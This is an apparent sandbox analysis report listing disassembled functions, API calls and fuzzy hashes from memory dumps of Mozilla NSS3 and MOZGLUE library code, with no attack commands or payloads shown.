Opcode ID: 969201deae1edbb9ec1bdaabeaeea150d4a283072533dbc6b3435883642b8742
Instruction ID: d5eddf6e4a680be56e39767df00bc7f0f5326a556c99a17fb2341e302ff509d2
Opcode Fuzzy Hash: 969201deae1edbb9ec1bdaabeaeea150d4a283072533dbc6b3435883642b8742
Instruction Fuzzy Hash: 2E21A4B1D002548BEB10EF64D8055FE77B4EF05218F554068D8197B601FB31AA69CBF2

Function 6CB8ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CB8F0AD,6CB8F150,?,6CB8F150,?,?,?), ref: 6CB8ECBA

Part of subcall function 6CB90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB387ED,00000800,6CB2EF74,00000000), ref: 6CB91000
Part of subcall function 6CB90FF0: PR_NewLock.NSS3(?,00000800,6CB2EF74,00000000), ref: 6CB91016
Part of subcall function 6CB90FF0: PL_InitArenaPool.NSS3(00000000,security,6CB387ED,00000008,?,00000800,6CB2EF74,00000000), ref: 6CB9102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CB8ECD1

Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB910F3
Part of subcall function 6CB910C0: EnterCriticalSection.KERNEL32(?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9110C
Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91141
Part of subcall function 6CB910C0: PR_Unlock.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91182
Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CB8ED02

Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CB8ED5A

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 86f70b2c77b2db42565bd447a0e9cb060d282f3029e0341f0411985608139d23
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 052104B59017C29BE700CF21D904B5AB7E4FFA5308F25C226E81C8B662EB70E594C7D1

Function 6CB5C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6CB5C890

Part of subcall function 6CB58F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB58FAF
Part of subcall function 6CB58F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB58FD1
Part of subcall function 6CB58F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB58FFA
Part of subcall function 6CB58F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB59013
Part of subcall function 6CB58F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB59042
Part of subcall function 6CB58F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB5905A
Part of subcall function 6CB58F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB59073
Part of subcall function 6CB58F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB59111

PR_GetCurrentThread.NSS3 ref: 6CB5C8B2

Part of subcall function 6CBF9BF0: TlsGetValue.KERNEL32(?,?,?,6CC40A75), ref: 6CBF9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CB5C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB5C8EB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 878b0a6eeb77714b4a51969c61a521040da97af7eee34f8e6b11dbee26fcc0f9
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 27010C66E1129067DB002DB56C80ABF366ADF4915EF440135FC04A6B41F372883887F3

Function 6CBA08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CBA09B3,0000001A,?), ref: 6CBA08E9

Part of subcall function 6CB90840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB908B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CBA08FD

Part of subcall function 6CB8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CB88D2D,?,00000000,?), ref: 6CB8FB85
Part of subcall function 6CB8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CB8FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CBA0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBA0953

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 17462701e81876e9819ae7439b5c2d1eeca7067ce1c0537b85384f5090a5f057
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 3901C8B16096C67BFB145EB9BC10B6B3798DF44318F104439EC9BC5A41EB21E4158A9A

Function 6CBBEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CBA7FFA,?,6CBA9767,?,8B7874C0,0000A48E), ref: 6CBBEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CBA7FFA,?,6CBA9767,?,8B7874C0,0000A48E), ref: 6CBBEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CBA7FFA,?,6CBA9767,?,8B7874C0,0000A48E), ref: 6CBBEE14

Part of subcall function 6CB90BE0: malloc.MOZGLUE(6CB88D2D,?,00000000,?), ref: 6CB90BF8
Part of subcall function 6CB90BE0: TlsGetValue.KERNEL32(6CB88D2D,?,00000000,?), ref: 6CB90C15

memcpy.VCRUNTIME140(?,?,6CBA9767,00000000,00000000,6CBA7FFA,?,6CBA9767,?,8B7874C0,0000A48E), ref: 6CBBEE33

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 83c75ec127e38daa692df091ed6c1478ce72ada3027d807c630e39dc22ba61b5
Instruction ID: f8f67fe706e4a74d0015aa5fb004b70aea5135df470a1ca2b41ce665b84810e9
Opcode Fuzzy Hash: 83c75ec127e38daa692df091ed6c1478ce72ada3027d807c630e39dc22ba61b5
Instruction Fuzzy Hash: 0811C6B1A007D6ABEB509E65DC84B5AB3A8EF0435DF204575F919E2A10EB30F464C7E2

Function 6CA2B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA2B4F5
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA2B502
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA2B542
free.MOZGLUE(?), ref: 6CA2B578

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f0dae2f0ae3d32d1af63e6bec03d86e87dd24908a59543d6526f4816d350bb92
Instruction ID: 8bcc1201331c021420a4b3c59b8a479d112fb712f4436d9accc7afc4ac9707dd
Opcode Fuzzy Hash: f0dae2f0ae3d32d1af63e6bec03d86e87dd24908a59543d6526f4816d350bb92
Instruction Fuzzy Hash: AA112430924B52CBC3118F28E9003A2B3B0FFD6319F18930EE84A57A01EBB4B1C5C790

Function 6CB58DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB58DE7
EnterCriticalSection.KERNEL32 ref: 6CB58DFC
PR_Unlock.NSS3 ref: 6CB58E2D
PR_SetError.NSS3 ref: 6CB58E49

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 3ede18780724c0bf2af087bc737ce741dc0a7256e03f83f6e2bcbbbc480f99a0
Instruction ID: b8588d5dbfeb1f78cfe604bc0caf7acf3c70959fc0a40a4d11b54a63b4117551
Opcode Fuzzy Hash: 3ede18780724c0bf2af087bc737ce741dc0a7256e03f83f6e2bcbbbc480f99a0
Instruction Fuzzy Hash: D3113A71A05A509BD700AF78D4885AEBBF4FF05714F414969D889D7B00E731E8A4CBD2

Function 6CBDAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CBC5F17,?,?,?,?,?,?,?,?,6CBCAAD4), ref: 6CBDAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CBC5F17,?,?,?,?,?,?,?,?,6CBCAAD4), ref: 6CBDACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CBCAAD4), ref: 6CBDACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CBCAAD4), ref: 6CBDACDB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: dcc72185d8ad104184dac77b2917afebe3d4752ac7f50287abd5a21cddd21ea0
Instruction ID: 69d7383de65b3e26bde406fdd6b267c4a34b9aa72b7c95432d950c17e4522b5c
Opcode Fuzzy Hash: dcc72185d8ad104184dac77b2917afebe3d4752ac7f50287abd5a21cddd21ea0
Instruction Fuzzy Hash: F5018CB1601B419BE760DF3AE908757B7E8FF006A9B044839D86AC3A00E734F058CB91

Function 6CA53DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA1F20E,?), ref: 6CA53DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA1F20E,00000000,?), ref: 6CA53DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA53E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA53E0E

Part of subcall function 6CA4CC00: GetCurrentProcess.KERNEL32(?,?,6CA131A7), ref: 6CA4CC0D
Part of subcall function 6CA4CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA131A7), ref: 6CA4CC16

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 47180492d2fd68cdee5843cb10ae32fba48933de066b00941c56a28d56808cf8
Instruction ID: fce742a54ff456057b7eb0f8c1cf273791be4ca9bb1c3a6abde2071c32c6f25e
Opcode Fuzzy Hash: 47180492d2fd68cdee5843cb10ae32fba48933de066b00941c56a28d56808cf8
Instruction Fuzzy Hash: 7EF082716103097BD704AF54DC42DAB376DDB46628F048020FD0917740DB35BD6A8AF7

Function 6CB888E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CB908AA,?), ref: 6CB888F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CB908AA,?), ref: 6CB8890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CB908AA,?), ref: 6CB88936
PR_Unlock.NSS3(?,?,?,?,?,6CB908AA,?), ref: 6CB88940

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 908a8b5f1d26d387a21c947c5bc7bb3a35169ca12c98d5076e90b7667af7e0ce
Instruction ID: fcbfd24dc85a1f366ccf0a29db4d182f99bc8f95cc11836d9c2b20bfa8d35e15
Opcode Fuzzy Hash: 908a8b5f1d26d387a21c947c5bc7bb3a35169ca12c98d5076e90b7667af7e0ce
Instruction Fuzzy Hash: F0019274A066859FDB00AF39C084669BBF8FF45398F015A2AD898C7B00E735E494CBD3

Function 6CBDAC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CBC5D40,00000000,?,?,6CBB6AC6,6CBC639C), ref: 6CBDAC2D

Part of subcall function 6CB7ADC0: TlsGetValue.KERNEL32(?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE10
Part of subcall function 6CB7ADC0: EnterCriticalSection.KERNEL32(?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE24
Part of subcall function 6CB7ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CB5D079,00000000,00000001), ref: 6CB7AE5A
Part of subcall function 6CB7ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE6F
Part of subcall function 6CB7ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE7F
Part of subcall function 6CB7ADC0: TlsGetValue.KERNEL32(?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AEB1
Part of subcall function 6CB7ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AEC9

PK11_FreeSymKey.NSS3(?,6CBC5D40,00000000,?,?,6CBB6AC6,6CBC639C), ref: 6CBDAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CBC5D40,00000000,?,?,6CBB6AC6,6CBC639C), ref: 6CBDAC59
free.MOZGLUE(8CB6FF01,6CBB6AC6,6CBC639C,?,?,?,?,?,?,?,?,?,6CBC5D40,00000000,?,6CBCAAD4), ref: 6CBDAC62

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 71c6781580a5bb4825a5501b8acd6ded85a86b4be876440a5a0eb3a8024e0fb3
Instruction ID: 4059540db674c1b8ada560535f544eb95c25af037a4bb12cac50d632e90e2f61
Opcode Fuzzy Hash: 71c6781580a5bb4825a5501b8acd6ded85a86b4be876440a5a0eb3a8024e0fb3
Instruction Fuzzy Hash: 9D0178B56016409FDB10DF14EDC0B467BA8EB04B68F188068E8098F746D734F848CFA2

Function 6CBC0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CC92F88,6CBC0660,00000020,00000000,?,?,6CBC2C3D,?,00000000,00000000,?,6CBC2A28,00000060,00000001), ref: 6CBC0860

Part of subcall function 6CAB4C70: TlsGetValue.KERNEL32(?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4C97
Part of subcall function 6CAB4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4CB0
Part of subcall function 6CAB4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CBC2C3D,?,00000000,00000000,?,6CBC2A28,00000060,00000001), ref: 6CBC0874
EnterCriticalSection.KERNEL32(00000001), ref: 6CBC0884
PR_Unlock.NSS3 ref: 6CBC08A3

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 5cdbd48168da8814e6b7db92572053f42c1154d61de0f67ab72a9ee69f32aa38
Instruction ID: 4f1a81a5c32d09bfa6b0acdce00f68d238b086600503f067d6de9ea7b4721295
Opcode Fuzzy Hash: 5cdbd48168da8814e6b7db92572053f42c1154d61de0f67ab72a9ee69f32aa38
Instruction Fuzzy Hash: 69012BB5F002D46BEB002F28FC8595A7B38DB5731EF088261EC5952A02EB31A45887E3

Function 6CC4CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CC4CC61
free.MOZGLUE ref: 6CC4CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CC4CC80
free.MOZGLUE(?), ref: 6CC4CC87

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 5cb99ff126e82753d138a40b48cdd213119c2fc2a7f6b3f3c0c1543fb57bf807
Instruction ID: 0b61a422b4cdcf94299b6b22d18478ab850f925859c3e6025c08a7f667329cc4
Opcode Fuzzy Hash: 5cb99ff126e82753d138a40b48cdd213119c2fc2a7f6b3f3c0c1543fb57bf807
Instruction Fuzzy Hash: 3BE065767016189FCA10EFA8DC84C977BBCEE4A6703150625E691C3700D235F905CBE1

Function 6CA685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CA685D3

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CA68725

Strings

map/set<T> too long, xrefs: 6CA68720

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 3d2d0208d97fea56c5ce28e0513fa5ea2b8f23a9a4e92c110f70a48866502bb8
Instruction ID: d060b6cb05342e8bbd1b211414e70ccebd63dbffcc266d5e6c4a9746d6805130
Opcode Fuzzy Hash: 3d2d0208d97fea56c5ce28e0513fa5ea2b8f23a9a4e92c110f70a48866502bb8
Instruction Fuzzy Hash: 2A5166B8600641CFD701CF1AC184A96FBF5BF4A318F18C28AD8595BB52C375E885CF92

